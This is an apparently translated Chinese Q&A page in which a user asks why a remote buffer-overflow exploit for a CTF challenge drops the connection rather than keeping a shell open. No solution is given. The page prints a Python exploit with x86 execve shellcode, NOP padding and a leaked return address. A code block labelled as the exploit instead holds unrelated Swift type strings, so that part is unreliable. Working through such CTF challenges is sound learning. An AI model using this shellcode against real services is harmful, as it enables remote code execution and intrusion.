使用TCP进行的缓冲区溢出利用不会使Shell保持打开状态

问题描述

我为此CTF设计了用于远程计算机的缓冲区溢出漏洞利用。质询将打印出一个地址,然后您必须使用该地址才能知道shellcode的存储位置。附件是我当前的漏洞利用代码:

#if arch(x86_64) || arch(arm64)
    let CGRectType = "{CGRect={CGPoint=dd}{CGSize=dd}}"
    let CGSizeType = "{CGSize=dd}"
    let CGPointType = "{CGPoint=dd}"
#elseif arch(i386) || arch(arm)
    let CGRectType = "{CGRect={CGPoint=ff}{CGSize=ff}}"
    let CGSizeType = "{CGSize=ff}"
    let CGPointType = "{CGPoint=ff}"
#endif

基本上,首先我要创建连接,然后发送输入,将程序定向到需要执行的位置,以便可以利用该漏洞(与这个问题无关)

下一步,我自己创建漏洞利用

基本前提是:

if len(sys.argv) != 3: print "Usage: %s host port" % (sys.argv[0]) sys.exit(0) s = socket.create_connection([sys.argv[1],int(sys.argv[2])]) recieved = s.recv(4096) print(recieved) #send 10 bytes of data s.send("9999\n") time.sleep(.2) raw_input("EXPLOIT ?? ") print s.recv(4096) sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" pad = "\x90" * 251 IP = struct.pack("I",literal_eval(recieved[13:23])) print("ADDR: ",recieved[13:23]) s.send(sh + pad + IP)

eip地址来自程序输出给我的地址(这就是我在IP变量中解析的内容)

该地址是缓冲区的开始,这是我的shellcode的开始位置,也是我想跳转到的位置。

我正在使用socat运行二进制文件,因此它与CTF服务器上托管的挑战相同。我使用GDB附加到该进程,然后运行我的漏洞利用程序。成功,但给出以下输出:

shellcode + padding + eip

并且我与该服务的连接已终止。

如果我使用本地二进制文件运行此程序,则应使用(python file.py; cat-;)| ./program来保持流打开,但这不是一个选择,因为我需要程序输出的内容并且必须远程执行。我也尝试过使用Telnet,但是随后程序挂起,什么也没发生。

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...